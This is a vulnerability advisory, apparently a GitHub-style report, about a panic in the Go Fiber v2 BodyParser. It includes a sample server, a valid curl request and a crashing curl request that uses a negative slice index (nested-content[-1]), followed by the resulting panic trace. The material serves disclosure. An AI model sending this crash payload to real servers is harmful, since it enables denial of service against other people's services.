Summary

When using the fiber.Ctx.BodyParser to parse into a struct with range values, a panic occurs when trying to parse a negative range index

Details

fiber.Ctx.BodyParser can map flat data to nested slices using key[idx]value syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data.

Since this data is user-provided, this could lead to denial of service for anyone relying on this fiber.Ctx.BodyParser functionality

Reproducing

Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData

package main

import (
	"encoding/json"
	"fmt"
	"net/http"

	"github.com/gofiber/fiber/v2"
)

type RequestBody struct {
	NestedContent []*struct {
		Value string `form:"value"`
	} `form:"nested-content"`
}

func main() {
	app := fiber.New()

	app.Post("/", func(c *fiber.Ctx) error {
		formData := RequestBody{}
		if err := c.BodyParser(&formData); err != nil {
			fmt.Println(err)
			return c.SendStatus(http.StatusUnprocessableEntity)
		}
                c.Set("Content-Type", "application/json")
                s, _ := json.Marshal(formData)
                return c.SendString(string(s))
	})

	fmt.Println(app.Listen(":3000"))
}

Correct Behaviour
Send a valid request such as:

curl --location 'localhost:3000' \
--form 'nested-content[0].value="Foo"' \
--form 'nested-content[1].value="Bar"'

You recieve valid JSON

{"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]}

Crashing behaviour
Send an invalid request such as:

curl --location 'localhost:3000' \
--form 'nested-content[-1].value="Foo"'

The server panics and crashes

panic: reflect: slice index out of range

goroutine 8 [running]:
reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?)
        /usr/lib/go-1.24/src/reflect/value.go:1418 +0x167
github.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...})
[...]

Impact

Anyone using fiber.Ctx.BodyParser can/will have their servers crashed when an invalid payload is sent